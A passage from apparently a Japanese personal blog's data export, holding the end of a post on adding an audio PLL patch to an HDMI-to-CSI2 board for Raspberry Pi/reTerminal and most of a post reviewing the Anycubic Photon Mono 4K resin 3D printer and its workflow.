fe203000.i2s: I2S SYNC error!\npi@raspberrypi:~ $\n```\n\nI2Sのクロック周りで同期が取れないようなエラーです。オシロスコープでI2S信号を観測したところ、確かに波形がおかしく基板上に問題がありそうだということがわかったのです。\n\n<blockquote class=\"twitter-tweet\" data-conversation=\"none\" data-lang=\"ja\" data-theme=\"light\"><p lang=\"ja\" dir=\"ltr\">ケーブル4本をはんだで繋げてみたんですが、I2S信号が期待通りではなくてALSAで取り込めませんでした😭</p>&mdash; MMP (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/1265179392965177344?ref_src=twsrc%5Etfw\">2020年5月26日</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\n\n色々と試行錯誤していた時にオシロスコープを燃やしてしまったのでHDMI入力基板からの音声入力は諦め、UAC Gadget経由でお茶を濁すことにしたのでした。\n\n<blockquote class=\"twitter-tweet\"><p lang=\"ja\" dir=\"ltr\">プローブがショートして白い煙出しながらオシロスコープ発火してモニター消えたので終わり。</p>&mdash; MMP (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/1263494401382166528?ref_src=twsrc%5Etfw\">May 21, 2020</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\n::PostLink{slug=\"nintendo-switch-audio-uac-gadget\"}\n\n\n## 音声を取り出すリベンジ\n\n\nUAC Gadgetから音声入力をする記事でお茶を濁して数ヶ月経った頃、Raspberry Pi Forumsに類似品のHDMI入力基板で音声が取り込めない問題をハードウェア的にパッチを当てて解決する方法が投稿されました。\n\n[[UPDATED, SOLVED] Why \"cheap\" Chinese HDMI-to-CSI2 adapters (e.g.18810-1 C779) don't provide I2S sound - Raspberry Pi Forums](https://forums.raspberrypi.com/viewtopic.php?p=1695619#p1695619)\n\nこれによってパッチを当てれば信号が得られるということがわかったので、試すことにしました。\n\n### 足りない配線とI2S APLLパッチ\n\nTC358743でI2S信号を正しく扱うための配線は、Functional Specificationなる仕様書に書かれているらしいのです。\n「らしい」というのは、その仕様書は東芝とNDAを結ばないと手に入れられないもので、現物を確認できていないからです。\n\nNDA下にある書類ということで、インターネットの海にはなかなか流れていなんですが、数字の末尾が3→9になった兄弟チップであるTC358749XBGの仕様書はFireflyが放流してくれています。\n\n[(U18)TC358749XBG_V074.pdf](https://www.t-firefly.com/download/Firefly-RK3288-Reload/hardware/(U18)TC358749XBG_V074.pdf)\n\nこれを参考にしてパッチを作っていきます。\n\nRaspberry Pi Forumsの投稿によると、I2Sの信号がおかしいのは音声信号の位相同期回路(PLL)が実装されていないことによるとのこと。\nこのAudio PLLに関する機能仕様を兄弟チップのTC358749XBGの仕様書から探してみると、次のような回路を用意すればいいというのがわかりました。\n\n\n\n抵抗値や静電容量は他の[TC358シリーズ](https://toshiba.semicon-storage.com/jp/semiconductor/product/interface-bridge-ics-for-mobile-peripheral-devices.html)の仕様をいくつも読み漁って推定したものです。\n\n\n#### ユニバーサル基板に実装\n\n先ほどの回路図のうち、C3とC6はH2C-RPI-B01に実装されているのでそれ以外の配線を行い、次のように配置しました。\n\n\n\nこれをユニバーサル基板に実装し、フォーラムにある類似基板の解析結果を参考にしながらH2C-RPI-B01につなげていきます。\n\n\n\n\n\n### 再度録音に挑戦\n\n前回の挑戦と同じくして、Device Tree Overlayの設定とv4l2の設定を済ませarecordで録音したところ、ちゃんとレベルメーターでも音声が入力していることを確認でき、きれいに録音されたファイルも出来上がって大成功でした。\n\n\n\n\n## reTerminalやCM4で使えるようにする\n\nRaspberry Pi 4Bで無事に録音できたので、さてケースに収めてreTerminalの拡張モジュールにするぞ!と意気込んだものの、CSI-2に通るI2Cがうまく通信できずにreTerminalでは動作してくれませんでした。\n\n\n\n```\npi@raspberrypi:~ $ dmesg | grep tc3\n[ 10.534939] tc358743 10-000f: i2c_rd: reading register 0x0 from 0xf failed\n[ 10.534957] tc358743 10-000f: not a TC358743 on address 0x1e\n```\n\nI2Cの設定を変えてみたりエラーメッセージやCompute Module特有の2つのCSI-2について調べてみたりすると、ずばり解決につながるフォーラムの投稿に行き当たりました。\n\n[Two B102 TC358743 simultaneously on CM4 - Raspberry Pi Forums](https://forums.raspberrypi.com/viewtopic.php?t=303226)\n\nCM3/CM4ではMIPI CSI-2のバスが二つあり、そのうちCSI0で動作させるにはDevice TreeのI2Cバスを変更する必要があるとのことでした。\nフォーラムの投稿はちょっと古いので最新のファームウェアに合うように修正してみたところ、ちゃんと認識され録音できるようになりました。\nパッチはGitHubにおいておきました。\n\n[reTerminal-HDMI-input/overlays at master · mzyy94/reTerminal-HDMI-input](https://github.com/mzyy94/reTerminal-HDMI-input/tree/master/overlays)\n\n## まとめ\n\nやっとこれでHDMI入力拡張モジュールとして機能する形にできました。今回の成果も以下のリポジトリでまとめておいたので、興味ある物好きな人は参考にどうぞ。\n\n[mzyy94/reTerminal-HDMI-input: HDMI input expansion module for reTerminal](https://github.com/mzyy94/reTerminal-HDMI-input)\n\nちなみに**このパッチが組み込まれた**音声も取れる格安HDMI入力基板が*今年の1月に発売されていた*ことを、今まさにこの記事を書いている最中に知りました。\n少しばかり高いですが、わざわざAPLLパッチを作る必要はありません。これまでの苦労とは一体。。。:sob:\n\n\n\n南無\n\n\n<a href=\"https://www.amazon.co.jp/gp/product/B09KC3VGGS?ie=UTF8&psc=1&linkCode=li3&tag=mzyy-22&linkId=009374e7cd8cf1bb2c563b673c60de3d&language=ja_JP&ref_=as_li_ss_il\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B09KC3VGGS&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" /></a><img src=\"https://ir-jp.amazon-adsystem.com/e/ir?t=mzyy-22&language=ja_JP&l=li3&o=9&a=B09KC3VGGS\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" />\n\n[Amazon \\| Geekworm Raspberry Pi Hdmi to CSI-2 (Hdmi入力の最大1080p/25fps)X630 拡張ボード、Raspberry Pi 4B/3B+/3B/Pi Zero/Zero Wに適用 \\| Geekworm \\| ベアボーンPC 通販](https://www.amazon.co.jp/gp/product/B09KC3VGGS?ie=UTF8&psc=1&linkCode=ll1&tag=mzyy-22&linkId=9d5787b5b84a4f07cc3a07deff07f27e&language=ja_JP&ref_=as_li_ss_tl)\n\n\n<a href=\"https://s.click.aliexpress.com/e/_AVdK6H\" target=\"_blank\"><img src=\"//ae01.alicdn.com/kf/H4e750503120b408cb8986e87eac1d8bb9.jpg_350x350.jpg\" /></a>\n\n[Hdmi対応にCSI 2モジュール、X630 hdmi CSI 2のためのラズベリーパイ4B/3B +/3B/パイゼロ\\|Demo Board Accessories\\| - AliExpress](https://s.click.aliexpress.com/e/_AVdK6H)\n"]}],[0,{"slug":[0,"2022/06/15/photon-mono-4k-print/"],"data":[0,{"title":[0,"Photon Mono 4K 光造形3Dプリンターを導入した"],"date":[3,"2022-06-14T17:00:00.000Z"],"image":[0,"/assets/images/2022/06/15/photon_mono_4k_sample_print.jpg"],"author":[0,"mzyy94"],"categories":[1,[[0,"3D Print"]]],"tags":[1,[[0,"anycubic"],[0,"photon"],[0,"thingiverse"]]]}],"content":[0,"\nついに3Dプリンターを購入した。\n\n<blockquote class=\"twitter-tweet\"><p lang=\"en\" dir=\"ltr\">𝑚𝑦 𝑛𝑒𝑤 𝑔𝑒𝑎𝑟 <a href=\"https://t.co/aG8nI3wjDf\">pic.twitter.com/aG8nI3wjDf</a></p>&mdash; 6月 (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/1509743062805020673?ref_src=twsrc%5Etfw\">April 1, 2022</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\nこれまで3Dプリントの必要に迫られてきたことは何度もあり、その度にShapewaysでプリントを外注してきた。\n費用は高くつく上に、造形物が手元に届くまで数日から数週間かかっていた。\n\n::PostLink{slug=\"shapeways-sterling-sliver\"}\n::PostLink{slug=\"shapeways-reterminal-plastic-case\"}\n\nそれでも3Dプリンターを買わず、金銭的時間的コストが掛かる外注を選択する理由は簡単で、導入コストとランニングコストを天秤に掛けても外注の方がパフォーマンスが良いと判断したからだ。\nそんな考えを持っていたが、[ラピッドプロトタイピング](https://ja.wikipedia.org/wiki/%E3%83%A9%E3%83%94%E3%83%83%E3%83%89%E3%83%97%E3%83%AD%E3%83%88%E3%82%BF%E3%82%A4%E3%83%94%E3%83%B3%E3%82%B0)で3Dモデルを頻繁にプリントする必要に駆られ、時間的コストが無視できないようになってきた。\n\nそこで導入を検討していると、近頃のコンシューマ向け3Dプリンターはこれらのコスト問題が減少していたこともあり、早速購入した。\n\n\n## 目次\n\n## ANYCUBIC Photon Mono 4K\n\n<a href=\"https://www.amazon.co.jp/ANYCUBIC-Photon-3D%E3%83%97%E3%83%AA%E3%83%B3%E3%82%BF%E3%83%BC-%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%BC%E3%83%B3%E4%BB%98%E3%81%8D-%E3%82%A2%E3%83%83%E3%83%97%E3%82%B0%E3%83%AC%E3%83%BC%E3%83%89/dp/B09M6ZYGRP?&linkCode=li2&tag=mzyy-22&linkId=f4cf391a378ec961b55a60e741cfb208&language=ja_JP&ref_=as_li_ss_il\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B09M6ZYGRP&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" /></a><img src=\"https://ir-jp.amazon-adsystem.com/e/ir?t=mzyy-22&language=ja_JP&l=li2&o=9&a=B09M6ZYGRP\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" />\n\n[ANYCUBIC Photon Mono 4K 3Dプリンター 光造形 6.23\" モノクロム スクリーン付き アップグレード LCD レジン 3D プリンタ 高速 超高精度 印刷サイズ 165 x 132 x 80mm : 産業・研究開発用品](https://www.amazon.co.jp/ANYCUBIC-Photon-3D%E3%83%97%E3%83%AA%E3%83%B3%E3%82%BF%E3%83%BC-%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%BC%E3%83%B3%E4%BB%98%E3%81%8D-%E3%82%A2%E3%83%83%E3%83%97%E3%82%B0%E3%83%AC%E3%83%BC%E3%83%89/dp/B09M6ZYGRP?&linkCode=ll1&tag=mzyy-22&linkId=e901bcec89c0da7ac37948becb23d369&language=ja_JP&ref_=as_li_ss_tl)\n\n購入したのはANYCUBIC社のPhoton Mono 4K。昨年11月に発売となったANYCUBIC社の新製品だ。気になるお値段は29,999円(購入時・税込み)と3万円でお釣りが一円返ってくるという安値っぷり。\n今ではクーポンやセールが常時適用され、3万円を切る価格で買えることがほとんどだ。\n\n検討材料として造形精度はもちろんのこと、導入コストが低く(=安価)、ランニングコストが低く(=プリント不良や材料費が少ない)、時間的コストが低い(=プリント時間が短い)の**3C**を重視して探した結果、この機種になった。\n\n### LCD光造形法\n\n安価な家庭用3Dプリンターといえば、材料のフィラメントを送り出して熱で溶解して積み上げていくFDM方式の熱溶解積層法の印象が強かったが、液体のレジンを材料として紫外線で固める光造形法の製品も安くあることを知った。\n光造形法の中でもSLA方式やDLP方式は値段が嵩むものの、LCDパネルを採用したLCD光造形法の安価な製品が多く登場していた。\n\n安さゆえに精度が気になるところだが、ここ1年くらいで4K解像度のモノクロLCDを使った製品が各社から発売されており、FDM方式のものよりも速度と精度が出るとの触れ込みだった。\n材料のレジンの保管も楽で、FDM方式のフィラメントでは湿度の管理や場所を取るという問題があるが、レジンはボトルのキャップをしっかり閉めて冷暗所に保管するだけなのでメリットが多い。\n\n参考: [光造形式3DプリンターのSLA式とDLP式とLCD式の違いって何? 光学式3Dプリンターの構造の違いについて - DreamerDreamのブログ](https://dreamerdream.hateblo.jp/entry/2019/07/21/120000)\n\n\n## 道具を揃える\n\n消耗品や必要な道具を揃えた。利用しているものを紹介する。\n\n### 水洗いレジン\n\n通常は光造形の3Dプリンターで造形する場合、材料となるレジンをプリントした後にIPA(イソプロピルアルコール)で洗浄する必要がある。\nIPAは有機溶剤であるため管理や処分が大変な上に費用も嵩むとあって、できることなら扱いたくないものだ。\nそんな望みが叶う水洗いレジンというものが存在することを今回初めて知った。バケツに入れた水でじゃぶじゃぶ洗うだけで洗浄完了となるのだ。\n\n通常のレジンとは違いIPAによる洗浄が不要になる分、少し割高になる。\nその分IPAを扱わなくて良いという価値に対して十分に釣り合うと見込んだため、水洗いレジンを最初から購入することにした。\n\n<a href=\"https://www.amazon.co.jp/SK%E6%9C%AC%E8%88%97-3D%E3%83%97%E3%83%AA%E3%83%B3%E3%82%BF%E3%83%BC%E7%94%A8-500g-SK%E6%B0%B4%E6%B4%97%E3%81%84%E3%83%AC%E3%82%B8%E3%83%B3-_SK02W/dp/B07ZH6BMDD?th=1&linkCode=sl1&tag=mzyy-22&linkId=0c422d7f3e0986780ce7ab1a55892f5f&language=ja_JP&ref_=as_li_ss_tl\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B07ZH6BMDD&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" /></a><img src=\"https://ir-jp.amazon-adsystem.com/e/ir?t=mzyy-22&language=ja_JP&l=li2&o=9&a=B07ZH6BMDD\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" />\n\n[SK本舗 光造形 3Dプリンター用 レジン 500g SK水洗いレジン (白色)\\_SK02W \\| 造形材料 \\| 産業・研究開発用品](https://www.amazon.co.jp/SK%E6%9C%AC%E8%88%97-3D%E3%83%97%E3%83%AA%E3%83%B3%E3%82%BF%E3%83%BC%E7%94%A8-500g-SK%E6%B0%B4%E6%B4%97%E3%81%84%E3%83%AC%E3%82%B8%E3%83%B3-_SK02W/dp/B07ZH6BMDD?th=1&linkCode=sl1&tag=mzyy-22&linkId=0c422d7f3e0986780ce7ab1a55892f5f&language=ja_JP&ref_=as_li_ss_tl)\n\n\n### ニトリル手袋\n\n未硬化のレジンは肌に直接触れるとアレルギー反応を起こすとのことなので、プリント直後の造形物を洗浄する際に対薬性のあるニトリルの手袋を着用する。\n一日に何度か続けてプリントすることがあるため、着脱を容易にするためにポリエチレンの手袋をした上に着けて利用している。\n\n<a href=\"https://www.amazon.co.jp/%E4%BD%BF%E3%81%84%E3%81%8D%E3%82%8A%E6%89%8B%E8%A2%8B-%E3%83%8B%E3%83%88%E3%83%AA%E3%83%AB%E3%82%B4%E3%83%A0-%E6%A5%B5%E3%81%86%E3%81%99%E6%89%8B-M%E3%82%B5%E3%82%A4%E3%82%BA-%E9%A3%9F%E5%93%81%E8%A1%9B%E7%94%9F%E6%B3%95%E9%81%A9%E5%90%88/dp/B01JFXQ29U?th=1&linkCode=li2&tag=mzyy-22&linkId=dc801da1182b60404a6ab874096dd744&language=ja_JP&ref_=as_li_ss_il\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B01JFXQ29U&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" /></a><img src=\"https://ir-jp.amazon-adsystem.com/e/ir?t=mzyy-22&language=ja_JP&l=li2&o=9&a=B01JFXQ29U\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" />\n\n[Amazon \\| 使いきり手袋 ニトリルゴム 極うす手 Mサイズ ホワイト 100枚 粉なし 左右両用タイプ 食品衛生法適合 調理 掃除 毛染め 介護 使い捨て \\| ファミリー \\| ドラッグストア](https://www.amazon.co.jp/%E4%BD%BF%E3%81%84%E3%81%8D%E3%82%8A%E6%89%8B%E8%A2%8B-%E3%83%8B%E3%83%88%E3%83%AA%E3%83%AB%E3%82%B4%E3%83%A0-%E6%A5%B5%E3%81%86%E3%81%99%E6%89%8B-M%E3%82%B5%E3%82%A4%E3%82%BA-%E9%A3%9F%E5%93%81%E8%A1%9B%E7%94%9F%E6%B3%95%E9%81%A9%E5%90%88/dp/B01JFXQ29U?th=1&linkCode=sl1&tag=mzyy-22&linkId=51ab0397b9b0f94263ce97e426f36e0f&language=ja_JP&ref_=as_li_ss_tl)\n\n\n### UVライト\n\n光造形の3Dプリントでは造形物を乾燥後に再度硬化させる必要がある。いわゆる二次硬化と言うやつで、紫外線を当てられれば太陽光でも代用できるのだが、UVライトを用いるのが確実なようだ(後述)。\nどれくらいの出力でどれくらいの時間が最適なのかがわからなかったのもあって、レジンアクセサリの硬化でよく利用されているUV蛍光管の36W出力タイプのこれにした。\n\n<a href=\"https://www.amazon.co.jp/%E3%80%90%E3%83%AA%E3%83%A5%E3%83%9F%E3%82%A8%E3%83%A9%E3%80%91%E3%80%90CX111S%E3%80%9136W-%E3%83%AC%E3%82%B8%E3%83%B3%E6%B6%B210%EF%BD%87%E4%BB%98%E3%81%8D-%E3%82%BF%E3%82%A4%E3%83%9E%E3%83%BC%E4%BB%98%E3%81%8D-%E3%83%AC%E3%82%B8%E3%83%B3%E3%80%90%E5%AE%89%E5%BF%83%E3%81%AE3%E3%82%AB%E6%9C%88%E4%BF%9D%E8%A8%BC%E3%80%91%E3%80%90%E5%88%86%E3%81%8B%E3%82%8A%E3%82%84%E3%81%99%E3%81%84%E5%8F%96%E6%89%B1%E8%AA%AC%E6%98%8E%E6%9B%B8%E4%BB%98%E3%80%91%E3%80%90%E3%82%AB%E3%83%A9%E3%83%BC%EF%BC%9A%E3%83%9B%E3%83%AF%E3%82%A4%E3%83%88-%E3%83%AC%E3%82%B8%E3%83%B3%E6%B6%B210%EF%BD%87%E3%80%91/dp/B07KWT5YQ2?th=1&linkCode=sl1&tag=mzyy-22&linkId=9cd3ec70e6963084e8d4bf2fe2f2d120&language=ja_JP&ref_=as_li_ss_tl\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B07KWT5YQ2&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" /></a><img src=\"https://ir-jp.amazon-adsystem.com/e/ir?t=mzyy-22&language=ja_JP&l=li2&o=9&a=B07KWT5YQ2\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" />\n\n[Amazon \\| 【リュミエラ】【CX111S】36W UVライト レジン液10g付き ハイパワー タイマー付き ジェル レジン【安心の3カ月保証】【分かりやすい取扱説明書付】【カラー:ホワイト+レジン液10g】 \\| リュミエラ \\| 硬化用ライト 通販](https://www.amazon.co.jp/%E3%80%90%E3%83%AA%E3%83%A5%E3%83%9F%E3%82%A8%E3%83%A9%E3%80%91%E3%80%90CX111S%E3%80%9136W-%E3%83%AC%E3%82%B8%E3%83%B3%E6%B6%B210%EF%BD%87%E4%BB%98%E3%81%8D-%E3%82%BF%E3%82%A4%E3%83%9E%E3%83%BC%E4%BB%98%E3%81%8D-%E3%83%AC%E3%82%B8%E3%83%B3%E3%80%90%E5%AE%89%E5%BF%83%E3%81%AE3%E3%82%AB%E6%9C%88%E4%BF%9D%E8%A8%BC%E3%80%91%E3%80%90%E5%88%86%E3%81%8B%E3%82%8A%E3%82%84%E3%81%99%E3%81%84%E5%8F%96%E6%89%B1%E8%AA%AC%E6%98%8E%E6%9B%B8%E4%BB%98%E3%80%91%E3%80%90%E3%82%AB%E3%83%A9%E3%83%BC%EF%BC%9A%E3%83%9B%E3%83%AF%E3%82%A4%E3%83%88-%E3%83%AC%E3%82%B8%E3%83%B3%E6%B6%B210%EF%BD%87%E3%80%91/dp/B07KWT5YQ2?th=1&linkCode=sl1&tag=mzyy-22&linkId=9cd3ec70e6963084e8d4bf2fe2f2d120&language=ja_JP&ref_=as_li_ss_tl)\n\n### 百均の茶こしとジャムの瓶\n\n余ったレジンを保管するためのセット。バットに残ったレジンを茶こしで漉しながらジャムの瓶に入れて冷暗所に保管する。\n茶こしは使い捨てのストレーナーを使う人もいるし、ジャムの瓶は耐薬品性が強そうって理由で選んだだけなので、あくまで参考程度に。\n\n\n### FEPフィルム\n\nレジンバット(レジン液を入れる容器)の底はフィルムになっていて、使用を重ねるごとに白く濁ってくる。こうなると造形精度が落ちたりプリントミスが発生したりする。\n最悪の場合は消耗や劣化によってフィルムが破れてバットの中のレジンが漏れ出し、3Dプリンターがレジン液まみれになるのでそうなる前に交換すべきである。\n\nいつでも対応できるよう交換用のフィルムとフレームのセットを購入した。\nしかし10回ほどプリントした今でも目立つ傷はなく、濁りも新品のフィルムと比較してもぱっと見ではわからないほどなのでまだ交換はしていない。\n交換手順は簡単で、ネジを外して交換用のフレームと取り替えるだけだ。FEPフィルム単体でも各社から発売されているので、フレームを流用してサイズの合うものに自分で換装する方法で安く済ませることもできる。\n\n<a href=\"https://www.amazon.co.jp/gp/product/B08YK6PRF6?ie=UTF8&psc=1&linkCode=li2&tag=mzyy-22&linkId=4e5ead0c53280d5bd2fd7834dfffb00c&language=ja_JP&ref_=as_li_ss_il\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B08YK6PRF6&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" /></a><img src=\"https://ir-jp.amazon-adsystem.com/e/ir?t=mzyy-22&language=ja_JP&l=li2&o=9&a=B08YK6PRF6\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" />\n\n[Amazon.co.jp: ANYCUBIC FEP ファイル(レジンタンク用) フレーム付き Photon Mono/Photon Mono 4kに適用 3dプリンター光造形 専用 FEP Film 2pcs: 産業・研究開発用品](https://www.amazon.co.jp/gp/product/B08YK6PRF6?ie=UTF8&psc=1&linkCode=ll1&tag=mzyy-22&linkId=7c19db9a3f9a5ba9b15b1bb5082984c1&language=ja_JP&ref_=as_li_ss_tl)\n\n## プリントする\n\nANYCUBICの3Dプリンターは3Dプリント界隈では有名どころなので、プリントに関しては多くの知見がインターネットにある。\n同様にしてここでは実際に利用した経験を基に、失敗談やコツをプリント手順に沿ってまとめておく。\n\n従来機のPhoton Monoの使用感については、次のブログで多く語られていた。\n\n[光造形3Dプリンタ入門した - おめが?日記_(2)](https://omega.hatenadiary.jp/entry/2021/06/16/022510)\n\n### モデリング\n\n3Dプリントするモデルを作成するか、入手することから始める。\n3Dモデリング/3D CADソフトは数多くあるが、昔から使っているAutodesk製品でいつもモデリングしている。\n\n[個人用 Fusion 360 - Autodesk](https://www.autodesk.co.jp/products/fusion-360/personal)\n\nオープンな3Dモデルの入手は数多く公開されている[Thingiverse](https://www.thingiverse.com/)を重宝している。\n\nこのステップで躓くとしたらAutodesk Fusion 360の使い方だが、おすすめできる文献がなくなってしまった。\n以下のブログでも紹介されているが、「Fusion 360でCAD設計を覚えよう」シリーズがインターネットから消え去ってしまったのだ。\nなので自力で調べて優良な資料を探し当てるという壁が最初に立ちはだかる。\n\n[生活で役立つ 3D プリントの事例と学び方の紹介 - Zopfcode](https://www.zopfco.de/entry/2020/12/19/212202)\n\n\n### 3Dモデルをスライス: 付属ソフトが安定\n\nLCD方式やDLP方式の光造形法の3Dプリンターでは、3Dモデルを一層一層プリントしていく。\nこのためのデータを作るのがスライサーソフトで、界隈ではCHITUBOXが有名だ。\nAmazon.co.jpのレビューにはCHITUBOXがまだ対応していないとあったが、バージョン 1.9.2ではプリンターリストにPhoton Mono 4Kがちゃんと登録されていた。\n\n[CHITUBOX - All-in-one SLA/DLP/LCD Slicer丨3D printing preprocessing software](https://www.chitubox.com/en/index)\n\n\n\n\n最初はPhoton Mono 4K付属のPhoton Workshopで作成していたが、こちらの方が便利だとの口コミを見たのでCHITUBOXに移行してみた。\n確かに自動サポート(支え)追加の賢さやレイアウトなどは優秀だが、CHITUBOXで作成したデータではプリントミスが多く発生した(3回中2回)。\nPhoton Mono 4K本体でのプレビュー表示もおかしかったので、結局Photon Workshopで作成するようになった。\n\nスライサーで重要になるのが、レジンごとの紫外線照射時間などの指定である。SK本舗の水洗いレジンでは推奨露光時間が表にまとめられている。\n\n[プリンター別SK本舗特製レジン露光時間一覧表 – SK本舗-3Dプリンターとレジンの通販・購入](https://skhonpo.com/pages/exposuretime)\n\n追加で買ったNOVA3Dの水洗いレジンと合わせて、スライサーで設定してうまく出力されている値を表に示す。\n\n水洗いレジン | SK本舗(灰/白) | NOVA3D(黒)\n:---:|------:|--------:\nLayer Thickness | 0.050 | 0.050\nNormal Exposure Time | 2.000 | 1.500\nOff Time | 0.500 | 0.500\nBottom Exposure Time | 30.000 | 25.000\nBottom Layers | 6 | 5\nAnti-alias | 1 | 1\n\n\n<a href=\"https://www.amazon.co.jp/gp/product/B087JFCWZ5?ie=UTF8&psc=1&linkCode=li2&tag=mzyy-22&linkId=73e5d1152842f160fa65e8233cfb53fe&language=ja_JP&ref_=as_li_ss_il\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B087JFCWZ5&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" /></a><img src=\"https://ir-jp.amazon-adsystem.com/e/ir?t=mzyy-22&language=ja_JP&l=li2&o=9&a=B087JFCWZ5\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" />\n\n[Amazon \\| NOVA3D UVレジン水洗可能 405nm LCD SLA 3Dプリンター用 な光硬化 3D樹脂 500g 黒 \\| 造形材料 \\| 産業・研究開発用品 通販](https://www.amazon.co.jp/gp/product/B087JFCWZ5?ie=UTF8&psc=1&linkCode=sl1&tag=mzyy-22&linkId=9186080e1f4d978a9b0fc5756f82ef09&language=ja_JP&ref_=as_li_ss_tl)\n\n### スライスデータをプリント: 脱落防止のコツ\n\nPhoton Mono 4Kのバットに水洗いレジンを入れてプラットフォームを取り付け、本体の準備をする。\n用意したプリントデータをUSBメモリーに入れ、本体の画面から選択しプリント開始して待つだけ。\n特にハマりポイントはないが、プリントに失敗したパターンと対処を挙げておく。\n\n\n一時停止による脱落\n: 脱落が気になったり造形の経過が知りたくて途中で一時停止したとき、サポートが途切れ造形物が脱落していたことがあった。\n一時停止するとプラットフォームが大きく持ち上がり、再開するとバットの高さまで戻るというこの動きにわずかなズレがありそう。\n細いサポートが多かったり複雑な3Dモデルでは一時停止しないことを心がける。\nプラットフォームにレジンが固着した時にバットのフィルムから剥がれるバリバリ音がするはずなので、できるだけこの音だけで脱落を判断するようにした。\n\n気泡による脱落\n: よく振って混ぜたレジンをバットに流し込むことによって、気泡が発生した状態でプリントを開始してしまったことにより発生した可能性のあるパターン。\nプラットフォームが気泡を抱えたままレジンの中に沈んで紫外線を照射されるため、気泡のある部分にはレジンが無い状態となり固着に失敗。\n気泡が消えるようにバットのレジン液を優しくかき混ぜるか、気泡がなくなるまで我慢して待つことで回避できる。\nせっかちなのでプラットフォームをホームポジションに下げた状態から数mm上げてレジンを投入する荒技を編み出し、気泡がプラットフォームの下に入らないようにして対処してしまうようになった。\n\n\nカッピングによる破損\n: 水中でコップを逆さにして持ち上げると中が真空になり水で満たされたままになるように、3Dプリンターで逆さに出力される造形物でも同様に中がレジン液で満たされてしまう。\nこの状態になることをカッピングと言うようで、中が空洞の直方体のケースを3Dプリントした時に起きてしまった。\nカッピングが起きると造形物に発生するのが、形状の変形や層の剥離などの破損だ。最悪の場合は破裂を起こすそうだ。\nこれを避けるためカッピングが起きない方向に回転させて配置するか、空気の通り道のためスライサーで1mm程度の穴を底に近い側面に開けることで回避できる。\n\n[カッピングによる破裂 \\| Support \\| Formlabs](https://support.formlabs.com/s/article/Cupping-Blowout?language=ja)\n\n### 洗浄と乾燥: 破損の予防\n\n\n\nプリント完了後は手袋をしてプラットフォームを取り外し、洗浄を行う。バケツや洗面器に張った水でジャブジャブして使い捨て歯ブラシでゴシゴシすれば余分なレジンを簡単に落とせる。\n\nその後、軽く流水で流したらプラットフォームから造形物をPhoton Mono 4Kに付属のヘラで剥がすのだが、ここで破損することが何度かあった。\n何度かの失敗経験を重ねてコツをつかむことで破損は減らすことができたが、特に成功率を上げるのに効果的だったのは**剥がす前にぬるま湯でプラットフォームごと造形物を温める**方法だ。\n\nあとは丸一日ほど暗所で保管して乾燥させる。\n\n### 二次硬化: UVライトで4分間\n\n乾燥したらヌメっとした手触りからスベっとした手触りに変わっているので、二次硬化を行う。\n太陽光で硬化させたりUVライトで硬化させたりと方法はいくつかあるが、具体的なUV出力や照射時間の情報が見当たらなかった。\n水洗いレジンの販売元のSK本舗ですら、「これといった正解はない」と言う始末。\n\n\n\n画像引用元: [【3Dプリンターの後処理】光造形3Dプリンターのレジン洗浄方法や二次硬化を初心者向けに徹底解説!|Phrozen Sonic Mini 4K - YouTube](https://www.youtube.com/watch?v=PoJloRBXQ88&t=220s)\n\n試しに太陽光で昼頃から日没まで二次硬化をしてみたところ、割れてしまっていた。数時間の二次硬化は長すぎるようだ。\n\n正解がわからないので正解なのかわからないが、今は36WのUV蛍光管ライトで120秒を2回、ひっくり返して照射すること計4分で二次硬化を済ませている。\n感覚としては、乾燥後でもわずかにねっとりとした手触りが目立つ造形物の側面が、サラッとしたものに変化したら二次硬化ができた合図だと思うことにしてる。\n\n擬音語で表すならば、ヌメッ→スベッ→サラッという順に硬化していく。\n\n### 